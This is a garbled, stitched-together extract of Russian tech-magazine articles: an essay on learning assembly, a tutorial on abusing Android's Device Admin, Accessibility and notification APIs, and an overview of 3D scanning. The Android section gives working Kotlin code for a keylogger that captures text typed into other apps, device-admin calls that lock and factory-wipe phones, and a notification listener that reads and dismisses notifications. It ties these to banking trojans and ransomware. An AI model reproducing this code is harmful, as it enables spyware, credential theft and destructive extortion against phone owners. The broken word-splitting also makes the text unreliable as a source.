На до учить Java, что бы мак симизи ровать зарабо ток.•
На до учить Swift, потому что почему нет?•
На до учить HolyC, что бы сла вить Гос пода.•
На до учить Perl во имя Сатаны.•

И так далее. Ответ на воп рос о том, с какого язы ка начать, зависит от мно гих
фак торов, и выбор — дело инди виду аль ное.

Ко неч но, ког да ты зна ешь ассем блер, у тебя будут зна читель ные пре иму щес‐ 
тва перед теми прог раммис тами, которые его не зна ют. Но преж де чем озна‐ 
комить ся  с  эти ми пре иму щес тва ми,  запом ни одну прос тую вещь: 

.

хо рошие

прог раммис ты  зна ют  ассем блер,  но  поч ти  никог да  не  пишут

на нем

КАКИЕ ПРЕИМУЩЕСТВА АССЕМБЛЕР ДАЕТ ПРОГРАММИСТУ?
Что бы писать эффектив ные прог раммы (в пла не быс тро дей ствия и эко номии
ресур сов), тебе обя затель но надо знать ассем блер того железа, для которо‐ 
го  ты пишешь. Ког да  ты зна ешь ассем блер,  ты не обма ныва ешь ся внеш ней
прос тотой  и  крат костью  высоко уров невых  фун кций,  а  понима ешь,  во  что
в ито ге прев раща ется каж дая из них: в пару‐трой ку ассем блер ных инс трук ций
или в длин нющую их пос ледова тель ность, переп летен ную цик лами.

Ес ли работа ешь с язы ками высоко го уров ня, такими как С, научись хотя бы
читать  и  понимать  ассем блер ный  код. Даже если  ты  в  обоз римом будущем
не видишь себя пишущим на ассем бле ре (на самом деле мало кто себя так
видит), зна ние ассем бле ра тебе при годит ся.

Ес ли  будешь  с  ассем бле ром  на  ты,  он  сос лужит  тебе  хорошую  служ бу
в  отладке.  Осво ив  ассем блер,  ты  будешь  понимать,  что  про исхо дит
под капотом язы ков высоко го уров ня, как компь ютер дела ет то, что он дела ет,
и почему высоко уров невый ком пилятор иног да работа ет не так, как ты ждешь
от него. Ты смо жешь видеть при чину это го и понимать, как ее устра нить.

Плюс  иног да  ты  ну  никак  не  можешь  понять,  что  у  тебя  за  баг,  пока
не прой дешь ся в отладчи ке в пошаго вом режиме по ассем блер ному коду.

И вот еще тон кий намек: некото рые работо дате ли хотели бы видеть в тво‐ 
ем резюме сло во «ассем блер». Это говорит им, что ты не прос то по вер хам
нах ватал ся,  а  дей стви тель но  инте ресу ешь ся  прог рамми рова нием,  копа ешь
вглубь.

СТОИТ ЛИ НАЧИНАТЬ ИЗУЧАТЬ ПРОГРАММИРОВАНИЕ
С АССЕМБЛЕРА?
Ког да ты осва иваешь прог рамми рова ние, начиная с самых низов, в этом есть
свои плю сы. Но ассем блер — это не самый низ. Если  хочешь начать сни зу,
нач ни  с  логичес ких  вен тилей  и  циф ровой  элек тро ники.  Затем  поковы ряй ся
с машин ным кодом. И толь ко потом прис тупай к ассем бле ру.

Вре мя  от  вре мени  тебя  будут  посещать  мыс ли,  что  ты  занима ешь ся
какой‐то  ерун дой.  Но  ты  узна ешь  мно го  полез ного  для  сво ей  будущей
работы, даже если она будет свя зана толь ко с язы ками высоко го уров ня. Ты
узна ешь, как имен но компь ютер дела ет те вещи, которые он дела ет.

Од нако я бы не совето вал начинать с ассем бле ра и более низ ких сло ев.
Во всем том, что перечис лено в двух пре дыду щих абза цах, лег че разоб рать‐ 
ся,  ког да ты начина ешь с какого‐нибудь язы ка высоко го уров ня. Так ты дос‐ 
тигнешь жела емо го резуль тата быс трее, чем оно тебе нас кучит.

Но  в  какой‐то  момент  тебе  и  прав да  обя затель но  надо  поз накомить ся
с ассем бле ром, осо бен но если прог рамми руешь на С. Я сом нева юсь, что ты
смо жешь  стать  пол ноцен ным  прог раммис том  на  С,  не  зная  ассем бле ра.
Но начинать с ассем бле ра не сто ит.

НАСКОЛЬКО ЛЕГЧЕ УЧИТЬ ДРУГИЕ ЯЗЫКИ, КОГДА УЖЕ ЗНАЕШЬ
АССЕМБЛЕР?
Ас сем блер совер шенно не похож на язы ки высоко го уров ня. Поэто му народ‐ 
ная муд рость «Тот опыт, который ты получил на одном язы ке, может быть лег‐ 
ко скон верти рован на дру гой язык» с ассем бле ром не работа ет.

Ес ли ты нач нешь с ассем бле ра, то пос ле того, как выучишь его и решишь
осво ить новый язык, тебе при дет ся начинать как с чис того лис та. Пом ню, мой
одно каш ник  еще  в  шко ле  выучил  ассем блер,  написал  на  нем  игрушку,
с которой победил на кон ферен ции. Но при этом так и не смог хорошо осво‐ 
ить ся в С, ког да мы учи лись в уни вере.

Чем  же  ассем блер  отли чает ся  от  язы ков  высоко го  уров ня?  Перемен ные
в  нем —  это  прос то  области  памяти.  Здесь  нет  ни  ,  ни  .  Здесь  нет
мас сивов!

int char

Есть  толь ко  память.  При чем  ты  работа ешь  с  ней  не  так,  как  на  язы ке
высоко го уров ня. Ты можешь забыть, что в какую‐то область памяти помес тил
стро ку, и обра тить ся к ней как к чис лу. Прог рамма все рав но ском пилиру ется.
Но толь ко обру шит ся в ран тай ме. При чем обру шит ся жес тко, без веж ливого
сооб щения об ошиб ке.

В  ассем бле ре  нет  ,  нет  ,  нет  .  Вмес то  них
там есть  толь ко опе рации срав нения и  условно го перехо да. Стро го  говоря,
там даже фун кций нет.

do..until for..next if..then

Но! Изу чив ассем блер,  ты будешь понимать,  как реали зуют ся и фун кции,
и  цик лы,  и  все  осталь ное.  А  раз ница  меж ду  переда чей  парамет ра  «по  зна‐ 
чению» и «по ссыл ке» ста нет для тебя само оче вид ной. Плюс если ты пишешь
на С, но не можешь до кон ца разоб рать ся, как работа ют ука зате ли, то, ког да
ты  узна ешь,  что  такое  регис тры  и  отно ситель ная  адре сация,  уви дишь,  что
понять ука зате ли сов сем нет рудно.

Луч ше начинай с С. На нем удоб но осва ивать осно вы: перемен ные, усло‐ 
вия, цик лы, логичес кие пос тро ения и осталь ное. Опыт, который ты получишь
при изу чении С, лег ко скон верти ровать на любой дру гой язык высоко го уров‐ 
ня, будь то Java, Python или какой‐то еще. Да и с ассем бле ром лег че разоб‐ 
рать ся, ког да ты уже осво ил С.

НАСКОЛЬКО ДОХОДНО УМЕТЬ ПРОГРАММИРОВАТЬ
НА АССЕМБЛЕРЕ?
Ес ли заг лянешь на  ,  то,  ско рее  все го,  не най дешь ни одной вакан сии,
у  которой  в  заголов ке  написа но  сло во  «ассем блер».  Но  вре мя  от  вре мени
какая‐нибудь  кон тора  лихора доч но  ищет  мага‐вол шебни ка,  который  зна ет
нут ро  компь юте ра  нас толь ко  глу боко,  что  может  пол ностью  под чинить  опе‐ 
раци онную сис тему сво ей воле. Мага‐вол шебни ка, который уме ет (1) латать
сис тему, не имея на руках исходно го кода,  (2) перех ватывать потоки дан ных
на лету и вме шивать ся в них.

HH.ru

Не кото рая  часть  этой  глу бокой  магии  —  а  сей час  пот ребность  в  такой
магии ста новит ся все более ред кой — может быть воп лощена толь ко на язы‐ 
ке очень низ кого уров ня.

Я  слы шал  о  кон торе,  которая  ищет  челове ка  на  раз работ ку  новой  плат‐ 
формы для высоко час тотно го трей дин га. Там идея в том, что если ты получа‐ 
ешь  информа цию  о  котиров ках  быс трее  сво их  кон курен тов  и  при нима ешь
решение быс трее их, то будешь грес ти бас нослов ные сум мы.

«Ког да ты получа ешь котиров ки, про ходя через весь стек TCP/IP, это слиш‐ 
ком мед ленно», — говорят пар ни из этой фир мы. Поэто му у них есть при моч‐ 
ка, которая перех ватыва ет тра фик на уров не Ethernet, пря мо внут ри сетевой
кар ты, куда залита кас томизи рован ная про шив ка.

Но  эти  ребята  пош ли  еще  даль ше. Они  собира ются  раз работать  девайс
для филь тра ции тра фика Ethernet — на ПЛИС. Зачем? Что бы ловить котиров‐ 
ки на аппа рат ном уров не и тем самым эко номить дра гоцен ные мик росекун ды
трей дин гового  вре мени  и  в  ито ге  получать  неболь шое,  очень  неболь шое
пре иму щес тво перед кон курен тами. Язык С им не подошел. Им даже ассем‐ 
блер  не  подошел.  Так  что  эти  пар ни  выцара пыва ют  прог рамму  пря мо
на крем нии!
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КОДИНГ

Кро ме  тра дици онных  раз решений,  в  An‐
droid  есть  три  мета‐раз решения,  которые
откры вают  дос туп  к  весь ма  опас ным  API,
поз воля ющим  в  пря мом  смыс ле  зах ватить
кон троль  над  устрой ством.  В  этой  статье
мы научим ся их  исполь зовать,  что бы прог‐ 
рам мно  нажимать  кноп ки  смар тфо на,
перех ватывать  уве дом ления,  извле кать
текст  из  полей  вво да  дру гих  при ложе ний
и сбра сывать нас трой ки смар тфо на.

О каких API пой дет речь?
1. Ад минис три рова ние устрой ства — API, пред назна чен ный для кор поратив‐ 
ных  при ложе ний.  Поз воля ет  сбра сывать  и  уста нав ливать  пароль  экра на
бло киров ки, сбра сывать смар тфон до завод ских нас тро ек и уста нав ливать
пра вила  минималь ной  слож ности  пароля.  Одна  из  осо бен ностей  API  —
зап рещено уда лять при ложе ния, получив шие пра ва адми нис тра тора, чем
с радостью поль зуют ся авто ры злов редных при ложе ний.

2. Accessibility  —  API  для  реали зации  при ложе ний,  ори енти рован ных
на  людей  с  огра ничен ными  воз можнос тями.  Фак тичес ки  API  поз воля ет
соз давать  аль тер натив ные  спо собы  управле ния  устрой ством  и  поэто му
откры вает  поис тине  огромный  прос тор  для  зло упот ребле ния.  С  его
помощью  мож но  получить  дос туп  к  содер жимому  экра на  прак тичес ки
любого  при ложе ния,  нажимать  кноп ки  интерфей са  и  прог рам мно
нажимать  кла виши  самого  смар тфо на.  Но  есть  и  спо соб  защиты:  раз‐ 
работ чик  при ложе ния может  пря мо  ука зать,  что опре делен ные эле мен ты
интерфей са при ложе ния будут недос тупны для сер висов Accessibility.

3. Уве дом ления — API,  поз воля ющий получить дос туп  ко всем уве дом лени‐ 
ям,  которые отоб ража ются  в  панели  уве дом лений. С помощью это го API
при ложе ние может про читать всю информа цию об уве дом лении, вклю чая
заголо вок,  текст и содер жимое кно пок  управле ния, нажать на эти  кноп ки
и даже смах нуть уве дом ление. API поль зует ся осо бой популяр ностью сре‐ 
ди раз работ чиков все воз можных бан ков ских тро янов, с помощью которо‐ 
го  они могут  читать  коды под твержде ния  и  сма хивать  пре дуп режда ющие
сооб щения от бан ков.

По лучив  дос туп  ко  всем  этим  API,  злов редное  при ложе ние  смо жет  сде лать
со смар тфо ном прак тичес ки все что угод но. Имен но поэто му для их защиты
исполь зуют ся  не  тра дици онные  зап росы  пол номочий,  на  которые  поль‐ 
зователь может машиналь но отве тить «Да», а скры тый глу боко в нас трой ках
интерфейс,  который  при  акти вации  покажет  угро жающее  сооб щение.  Все,
что  может  сде лать  при ложе ние,  что бы  получить  нуж ное  пол номочие,  —
это переб росить поль зовате ля в окно нас тро ек, пос ле чего тот дол жен будет
най ти  нуж ное  при ложе ние,  вклю чить  нап ротив  него  перек лючатель  и  сог‐ 
ласить ся с пре дуп режда ющим сооб щени ем.

Зас тавить поль зовате ля дать раз решение на исполь зование этих API мож‐ 
но  обма ном.  Зачас тую  злов реды  при киды вают ся  легитим ными  при ложе‐ 
ниями, которым раз решение нуж но для работы клю чевой фун кци ональ нос ти.
К  при меру,  это  может  быть  при ложе ние  для  ведения  жур нала  уве дом лений
или  при ложе ние  для  аль тер натив ной  жес товой  навига ции  (такому  при ложе‐ 
нию нужен сер вис Accessibility для нажатия кно пок навига ции). Так же мож но
исполь зовать  ата ку  Cloak  &  Dagger,  что бы  перек рыть  окно  нас тро ек  дру гим
безобид ным окном.

НАЖИМАЕМ КНОПКИ СМАРТФОНА
Прос тей ший сер вис Accessibility может выг лядеть так (код на Kotlin):

     class AccessService: AccessibilityService() {
       companion object {

              var service: AccessibilityService? = null

       // Метод для программного нажатия кнопки «Домой»
          fun pressHome() {

           service?.performGlobalAction(GLOBAL_ACTION_HOME)
       }
   }

         override fun onServiceConnected() {
          service = this

       super.onServiceConnected()
   }

             override fun onUnbind(intent: Intent?): Boolean {
          service = null
        return super.onUnbind(intent)

   }

         override fun onInterrupt() {}
           override fun onAccessibilityEvent(event: AccessibilityEvent) {}
}

Что бы  сис тема  узна ла  о  нашем  сер висе,  его  необ ходимо  объ явить  в 
:

An‐
droidManifest.xml

<service
   android:name=".AccessService"
   android:label="@string/app_name"
   android:permission="android.permission.
BIND_ACCESSIBILITY_SERVICE">
   <intent‐filter>

 
 

       <action android:name="android.accessibilityservice.
AccessibilityService" />
   </intent‐filter>

   <meta‐data
       android:name="android.accessibilityservice"

        android:resource="@xml/accessibility_service_config" />
</service>

Это  опи сание  ссы лает ся  на  кон фигура цион ный  файл 
,  который дол жен быть опре делен в  катало ге   про екта.

Для нашего слу чая дос таточ но будет такого кон фига:

accessibility_ser‐
vice_config.xml xml

 <accessibility‐service xmlns:android="http://schemas.android.com/apk/
res/android"
   android:canRetrieveWindowContent="false"
     android:description="@string/accessibility_description" />

Пос ле  того  как  поль зователь  вклю чит  наш  сер вис  Accessibility  в  окне  «Нас‐ 
трой ки → Спец. воз можнос ти», сис тема авто мати чес ки запус тит сер вис и мы
смо жем выпол нить фун кцию  , что бы нажать кноп ку «Домой»:pressHome()

// Если service не null — значит, система успешно запустила сервис
       if (AccessService.service != null) {

   AccessService.pressHome()
}

Од ной  лишь  толь ко  этой  фун кци ональ нос ти  дос таточ но,  что бы  реали зовать
Ransomware,  который будет  вызывать фун кцию    в  цик ле и бес‐ 
конеч но воз вра щать поль зовате ля на домаш ний экран, не давая нор маль но
исполь зовать устрой ство.

pressHome()

Ок но вклю чения сер виса Accessibility в Android 11

Од нако нас тоящая мощь Accessibility кро ется не в нажатии кно пок навига ции,
а в воз можнос ти кон тро лиро вать дру гие при ложе ния.

ПЕРЕХВАТЫВАЕМ СОДЕРЖИМОЕ ПОЛЕЙ ВВОДА
API  Accessibility  был  соз дан  для  людей  с  огра ничен ными  воз можнос тями.
С  его  помощью  мож но,  нап ример,  соз дать  при ложе ние,  которое  будет
зачиты вать  все  над писи  интерфей са  и  поз волит  нажимать  эле мен ты
интерфей са  голосом.  Все  это  дос тижимо  бла года ря  тому,  что  Accessibility
дает  пол ный  дос туп  к  интерфей су  при ложе ний  в  виде  дерева  эле мен тов:
мож но прой ти по нему и выпол нить над эле мен тами опре делен ные опе рации.

Что бы научить наше при ложе ние «ходить» по интерфей су при ложе ний, мы
дол жны  изме нить  опи сание  сер виса  в  его  нас трой ках.  Сле дующий  кон фиг
дает пол ный дос туп к интерфей су любого при ложе ния:

<accessibility‐service
   xmlns:android="http://schemas.android.com/apk/res/android"
   android:accessibilityEventTypes="typeAllMask"
   android:accessibilityFeedbackType="feedbackAllMask"
   android:accessibilityFlags="flagDefault"
   android:canRequestEnhancedWebAccessibility="true"
   android:notificationTimeout="100"
   android:packageNames="@null"
   android:canRetrieveWindowContent="true"
   android:canRequestTouchExplorationMode="true"
   />

Те перь  напишем  прос тей ший  кей лог гер.  Для  это го  добавим  в  код  сер виса
такую фун кцию:

       override fun onAccessibilityEvent(event: AccessibilityEvent) {
           if (event.source?.className == "android.widget.EditText") {

        Log.d("EditText text: ", event.source?.text.toString())
   }
}

Те перь  все,  что  поль зователь  вве дет  в  любое поле  вво да  любого при ложе‐ 
ния, будет выведе но в кон соль.

API  Accessibility  дос таточ но  раз вит  и  поз воля ет  переме щать ся  по  дереву
эле мен тов,  копиро вать  текст  эле мен тов,  встав лять  в  них  текст  и  выпол нять
мно жес тво дру гих дей ствий. Это дей стви тель но опас ный инс тру мент, поэто‐ 
му Android будет исполь зовать любую воз можность, что бы отоз вать пра ва Ac‐
cessibility  у  при ложе ния. Нап ример,  это про изой дет  при пер вом же падении
сер виса. Кро ме того, Android пре дос тавля ет раз работ чикам спо соб защитить
кри тичес кие ком понен ты при ложе ния с помощью фла га 

:
importantForAcces‐

sibility

<LinearLayout
   android:importantForAccessibility="noHideDescendants"
     ... />

Этот код скро ет лей аут и всех его потом ков от сер висов Accessibility.
То же самое в коде:

view.setImportantForAccessibility(
IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);

Дамп дерева UI
Есть  удоб ный спо соб сде лать дамп UI  любого при ложе ния  таким,  каким его
видит сер вис Accessibility:

$ adb shell uiautomator dump 
$ adb pull /sdcard/window_dump.xml 

Дамп интерфей са Telegram

БЛОКИРУЕМ УСТРОЙСТВО И ЗАЩИЩАЕМСЯ ОТ УДАЛЕНИЯ
Пе рей дем к API адми нис три рова ния устрой ства. Как уже было ска зано, этот
API пред назна чен для уда лен ного управле ния защитой устрой ств:  уста нов ки
пароля, политик слож ности пароля и уда лен ного сбро са устрой ства. Исполь‐ 
зовать его не труд нее, чем сер вис Accessibility, но сам прин цип отли чает ся.

Пер вое, что мы дол жны сде лать, — соз дать ресивер, который будет выз‐ 
ван  пос ле  вклю чения/вык лючения  прав  адми нис тра тора.  Добав лять
в  ресивер  какой‐то  осмыслен ный  код  необя затель но —  глав ное,  что бы  он
был:

       class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {
               override fun onDisabled(aContext: Context, aIntent: Intent) {
   }
}

Да лее ресивер необ ходимо добавить в манифест:

<receiver
   android:name=".DeviceAdminPermissionReceiver"
   android:label="@string/app_name"
   android:permission="android.permission.BIND_DEVICE_ADMIN">

   <meta‐data
       android:name="android.app.device_admin"

        android:resource="@xml/admin_policies" />

   <intent‐filter>
 

 
       <action android:name="android.app.action.
DEVICE_ADMIN_ENABLED" />
   </intent‐filter>
</receiver>

Эта запись ссы лает ся на кон фигура цион ный файл  .
Соз даем его и добав ляем сле дующие стро ки:

xml/admin_policies.xml

<device‐admin>
   <uses‐policies>

        <reset‐password />
        <force‐lock />

        <wipe‐data />
   </uses‐policies>
</device‐admin>

Кон фиг  говорит,  что  наше  при ложе ние  может  сбра сывать  и  менять  пароль
экра на  бло киров ки,  вык лючать  экран,  бло кируя  его  паролем,  и  сбра сывать
устрой ство до завод ских нас тро ек.

Пос ле  того  как  поль зователь  даст  раз решение  на  исполь зование  прав
адми нис тра тора  в  раз деле  «Нас трой ки  →  Безопас ность  →  При ложе ния
адми нис тра тора  устрой ства»,  мы  можем  про верить,  дей стви тель но  ли  мы
получи ли эти пра ва, и вос поль зовать ся ими:

// Функция для определения наличия прав
   fun checkAdminPermission() {

           val adminComponent = ComponentName(this,
DeviceAdminPermissionReceiver::class.java)
         

   
val policyManager = getSystemService(Context.

DEVICE_POLICY_SERVICE) as DevicePolicyManager
     return policyManager.isAdminActive(adminComponent))
}

       
 

val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE)
as DevicePolicyManager

// Блокируем устройство и принудительно запрашиваем пароль
policyManager.lockNow()

// Сбрасываем устройство до заводских настроек
policyManager.wipeData(0)

// Меняем пароль экрана блокировки (не работает в Android 7+)
 policyManager.resetPassword("1234", 0)

Об рати вни мание, что мы можем заб локиро вать устрой ство и даже сбро сить
его до завод ских нас тро ек, но начиная с Android 7 не име ем пра ва поменять
текущий пароль на экра не бло киров ки.

Ес ли  быть  более  точ ным,  текущий  пароль  в  сов ремен ных  устрой ствах
может изме нять толь ко при ложе ние со ста тусом device owner. Есть лишь два
спо соба получить такой ста тус:

ус тановить при ложе ние‐адми нис тра тор на девс твен но чис тое устрой ство
с  помощью  QR‐кода.  Для  это го  есть  спе циаль ный  API,  которо го  мы
не будем касать ся в этой статье;

•

наз начить  при ложе ние  device  owner’ом  с  помощью  ADB  или  прав  root.
Для это го нуж но выпол нить такую коман ду:

•

$ dpm set‐device‐owner com.example.app/.DeviceAdminPermissionReceiver 

Но, даже имея воз можность толь ко сбра сывать и бло киро вать устрой ство, мы
можем написать при ложе ние, которое будет тре бовать у поль зовате ля выкуп,
угро жая  унич тожить  все  дан ные,  или  бло киро вать  устрой ство  в  цик ле.
При этом поль зователь не смо жет прос то так взять и уда лить наше при ложе‐ 
ние, сна чала при дет ся отоз вать у него пра ва адми нис тра тора.

Эк ран вклю чения прав адми нис тра тора

ПЕРЕХВАТЫВАЕМ И СМАХИВАЕМ УВЕДОМЛЕНИЯ
Мо жет  показать ся,  что  перех ват  уве дом лений  не  столь  уж  лакомый  кусок
для  злов редов,  но  толь ко  вду май ся:  в  сов ремен ных  устрой ствах  через  уве‐ 
дом ления  про ходит  мас са  кон фиден циаль ной  информа ции:  СМС  (вклю чая
одно разо вые  коды  под твержде ния),  сооб щения  мес сен дже ров,  заголов ки
писем и часть их содер жимого, все воз можные сер висные сооб щения.

Как и в слу чае Accessibility API, для перех вата уве дом лений нужен сер вис,
которым в ито ге будет управлять сама сис тема. Напишем код сер виса:

     class NLService: NotificationListenerService() {
           private var connected = false

         override fun onListenerConnected() {
          connected = true

       super.onListenerConnected()
   }

         override fun onListenerDisconnected() {
          connected = false

       super.onListenerDisconnected()
   }

           override fun onNotificationPosted(sbn: StatusBarNotification) {
       cancelNotification(sbn.key)
   }

           override fun onNotificationRemoved(sbn: StatusBarNotification?) {
   }
}

Сер вис име ет четыре основных кол бэка. Два вызыва ются при под клю чении/
отклю чении  сер виса  (это  обыч но  про исхо дит  при  запус ке  и  оста нов ке  при‐ 
ложе ния,  а  так же  при  вклю чении  и  вык лючении  дос тупа  к  уве дом лени ям).
Еще два нуж ны для обра бот ки появ ления/исчезно вения уве дом лений.

Наш  прос тей ший  сер вис  при  появ лении  уве дом ления  сра зу  сма хива ет
его, а при исчезно вении не дела ет ничего. Одна ко мы мог ли бы, нап ример,
запом нить  заголо вок,  текст,  а  так же  пакет,  которо му  при над лежит  уве дом‐ 
ление:

     val extras = sbn.notification.extras

     val title = extras.getCharSequence(Notification.EXTRA_TITLE)
     val text = extras.getCharSequence(Notification.EXTRA_TEXT)
     val package = sbn.packageName

Бан ков ские тро яны обыч но смот рят на пакет при ложе ния, срав нивая с базой
бан ков ских  кли ентов,  а  так же  рас парси вают  заголо вок  и  текст  сооб щения
в  поис ках  спе цифич ных  для  сооб щений  бан ков  строк.  Далее  уве дом ление
прог рам мно сма хива ется.

Что бы сер вис зарабо тал, его необ ходимо объ явить в манифес те:

<service
   android:name=".NLService"
   android:label="@string/app_name"
   android:permission="android.permission.
BIND_NOTIFICATION_LISTENER_SERVICE">
   <intent‐filter>

 
 

       <action android:name="android.service.notification.
NotificationListenerService" />
   </intent‐filter>
</service>

Пос ле вклю чения в нас трой ках (При ложе ния и уве дом ления → Спе циаль ный
дос туп → Дос туп к уве дом лени ям) сер вис нач нет работать.

Ок но вклю чения дос тупа к уве дом лени ям

ВЫВОДЫ
Не дур но,  не  прав да  ли?  Написав  пару  десят ков  строк  кода,  мы  научи лись
прог рам мно  нажимать  кноп ки  смар тфо на,  перех ватывать  уве дом ления,
извле кать  текст из полей вво да дру гих при ложе ний и даже сбра сывать нас‐ 
трой ки  смар тфо на.  Все  это  выг лядит  дей стви тель но  страш но,  осо бен но
в срав нении с iOS. Но сог ласись, далеко не так страш но, как в слу чае с нас‐ 
толь ными  Windows,  Linux  и  macOS,  где  для  получе ния  пол ного  кон тро ля
над  устрой ством  иног да  дос таточ но  все го  лишь  зас тавить  поль зовате ля
нажать «Да» в одном‐единс твен ном диало ге.
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Ес ли ты пла ниру ешь сде лать трех мерную игру или при ложе‐ 
ние, поэк спе римен тировать с AR или VR, то, воз можно, уже
подумы вал  о  3D‐ска ниро вании.  Давай  погово рим  о  раз ных
реали заци ях этой тех нологии, а так же о том, какое обо рудо‐ 
вание тебе при годит ся.

Ска ниро вание  сей час  при меня ют  все  чаще,  и  с  раз вити ем  этой  тех нологии
она может стать еще более вос тре бован ной при раз работ ке игр и при ложе‐ 
ний,  в  том  чис ле  для  VR.  Реконс тру иро вание  объ ектов  поз волит  соз давать
мак сималь но реалис тичные игры, даже если у тебя нет пол ноцен ной игро вой
сту дии, а так же зна читель но сэконо мит вре мя и средс тва.

Иг ра Safe Night

В этой статье ты узна ешь о четырех спо собах ска ниро вания реаль нос ти:
фо тог раммет рии;•
сис темах струк туриро ван ного све та;•
ToF‐камерах и лазерах;•
ка мерах све тово го поля.•

ФОТОГРАММЕТРИЯ
Пер вый  спо соб  ска ниро вания  реаль нос ти  —  фотог раммет рия.  Это  самый
дос тупный  и  уни вер саль ный  спо соб  получить  трех мерную  модель  объ екта
или  сце ны.  Фотог раммет рия  опре деля ет  фор му,  раз мер  и  положе ние  объ‐ 
ектов по фотог рафи ям.

Как это работает?
 дела ем серию фото с помощью обыч ной камеры. Фотог‐ 

рафиру ем  объ ект  или  сце ну  со  всех  сто рон  так,  что бы  сним ки  получи лись
внах лест.

На пер вом эта пе

 ПО находит на каж дой фотог рафии опре деля ющие соот‐ 
ветс твия. Сущес тву ет нес коль ко методов получе ния таких дес крип торов: SIFT,
SURF, KAZE, AKAZE, ORB и BRISK. Пока срав нитель ный ана лиз этих инс тру‐ 
мен тов на рус ском язы ке недос тупен. Деталь но изу чить этот воп рос поможет

 на Research Gate.

На вто ром эта пе

ан гло языч ная статья

  ПО  сопос тавля ет  дес крип торы  друг  с  дру гом.  Получа‐ 
ется трех мерное обла ко точек, которое опи сыва ет реконс тру ируемый объ ект.
Для  каж дой  фотог рафии  ПО  стро ит  кар ту  глу бины,  где  рас счи тано  рас сто‐ 
яние от камеры до каж дого пик селя.

На  треть ем эта пе

Софт объ еди няет дан ные с нес коль ких карт глу бины и стро ит меш объ екта.

За тем  алго ритм  учи тыва ет  усреднен ное  зна чение  пик селей  и  тек сту риру ет
меш.  .Ре зуль тат на видео

Го товую  модель  невоз можно  исполь зовать  для  соз дания  3D‐кон тента
или  VR.  Пос ле фотог раммет рии  нуж на  руч ная  доработ ка,  о  ней  более  под‐ 
робно ты можешь про читать в  .статье на сай те Exyte

Какое оборудование понадобится?
Для  фотог раммет рии  подой дут  нес коль ко  устрой ств  —  камера  смар тфо на
(объ ект на кар тинке выше снят на Samsung S8+), зер каль ная или без зеркаль‐ 
ная камера со сле дующи ми фун кци ями и свой ства ми:

фик сация балан са белого;•
фик сация фокус ного рас сто яния;•
ми нималь ная дис торсия объ екти ва;•
ко рот кая выдер жка при съем ке с рук.•

Ес ли ты сни маешь на смар тфон, имей в виду, что для фотог раммет рии нужен
руч ной  режим  съем ки  и  хорошая  опти ка.  Для  получе ния  качес твен ного
резуль тата  луч ше  все го  исполь зовать  новые модели.  На  Android  и  iOS  есть
при ложе ния,  которые  фотог рафиру ют  объ ект  и  демонс три руют  пред‐ 
варитель ный  резуль тат  ска ниро вания  в  реаль ном  вре мени.  Пос ле  объ ект
реконс тру ирует ся  на  смар тфо не  или  в  обла ке,  но  резуль тат  не  впе чат ляет.
Получен ные  модели  не  годят ся  для  3D‐кон тента  или  VR.  На  мой  взгляд,
наибо лее пер спек тивное при ложе ние —  .display.land

Да же луч шие камеры смар тфо нов име ют слиш ком малые физичес кие раз‐ 
меры  мат рицы  и  линз.  Без  спе циаль ных  прог рам мно‐аппа рат ных  филь тров
они  усту пают  пол нофор матным  камерам,  осо бен но  если  осве щение
неидеаль ное.

INFO

Ес ли тебе инте рес но, может ли камера смар тфо‐ 
на  сопер ничать  с  сис темны ми  камера ми,  ты
можешь почитать об этом в  .статье на сай те DXO

От  качес тва  пол нофор матной  камеры  зависит  мно гое,  но  основную  работу
в  реконс трук ции  объ екта  дела ет  ПО,  нап ример  плат форма 
или ком мерчес кое ПО  .

MeshRoom
RealityCapture

Для реконс тру иро вания с исполь зовани ем   тре бует ся мощ ный
компь ютер (вро де Core i7, 32 Гбайт RAM, Nvidia CUDA).

MeshRoom

Ограничения фотограмметрии
У фотог раммет рии нес коль ко огра ниче ний:

по вер хнос ти  объ ектов  не  дол жны  быть  отра жающи ми,  проз рачны ми
или одно тон ными;

•

объ ект не дол жен дви гать ся и менять фор му;•
ос вещение и опти чес кие парамет ры камеры не дол жны менять ся.•

Продолжение статьи →
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СИСТЕМЫ СТРУКТУРИРОВАННОГО СВЕТА
Вто рой спо соб ска ниро вания — сис темы струк туриро ван ного све та.

Сис темы  струк туриро ван ного  све та  сос тоят  из  камеры,  про екто ра  и  ПО
для  реконс тру иро вания.  Устрой ства  делят ся  на  два  типа — дорогие руч ные
при боры ( ,  ) и нас толь ные сис темы для ска ниро вания неболь ших
объ ектов.

Artec EinScan

Спи сок дос тупных для пот ребите ля устрой ств:
 под клю чает ся к iPad;• Structure Sensor

 под клю чает ся к компь юте ру;• Structure Core
мо биль ные  ска неры  на  iPhone  X  и  iPad  Pro  3‐го  поколе ния  с  сен сором
TrueDepth;

•

Asus Xtion series;•
Intel RealSense series;•
Kinect для Xbox 360 (уже не выпус кает ся, но про дает ся на вто рич ном рын‐ 
ке).

•

Как это работает?
Как ска ниру ют сис темы струк туриро ван ного све та, объ ясним на сле дующем
при мере. Берем Kinect для Xbox 360.

За пус каем  , нап равля ем Kinect на объ ект и обхо дим его со всех сто‐ 
рон.

Skanect

Kinect  про еци рует  рядом  с  объ ектом  пат терн  из  точек  в  инфрак расном
диапа зоне.

Вот как это выг лядит.

За тем ПО объ еди няет информа цию с нес коль ких карт глу бины и тек сту риру ет
меш.  Такая  модель  тре бует  руч ной  доработ ки  и  не  подой дет  для  VR  из‐за
низ кого раз решения.

Сис темы струк туриро ван ного све та реконс тру ируют модель быс трее, чем
фотог раммет рия.  Ска ниро вание  модели  мяг кой  игрушки  заняло  все го  нес‐ 
коль ко минут.

Ре зуль тат ты можешь пос мотреть на видео.

Какое оборудование нам понадобится?
Для  ска ниро вания  с  помощью  сис тем  струк туриро ван ного  све та  нам  нуж ны
два  ком понен та:  спе циаль ное  устрой ство  и  спе циаль ное  ПО.  Боль шинс тво
устрой ств тре бует под клю чения к компь юте ру, но (в отли чие от фотог раммет‐ 
рии) мож но реконс тру иро вать объ екты и на не самом мощ ном железе.

Ис поль зовать  Kinect  для  Xbox  360,  который  мы  рас смот рели  выше,  все
слож нее,  пос коль ку  их  боль ше  не  про изво дят,  да  и  на  ком мерчес кое  при‐ 
мене ние есть лицен зион ные огра ниче ния. Луч ше поп робовать более све жие
про дук ты —  нап ример,  Intel  и  Occipital.  Для  них  подой дут  два  прог рам мных
пакета:   и  .Skanect Faro SCENE Capture

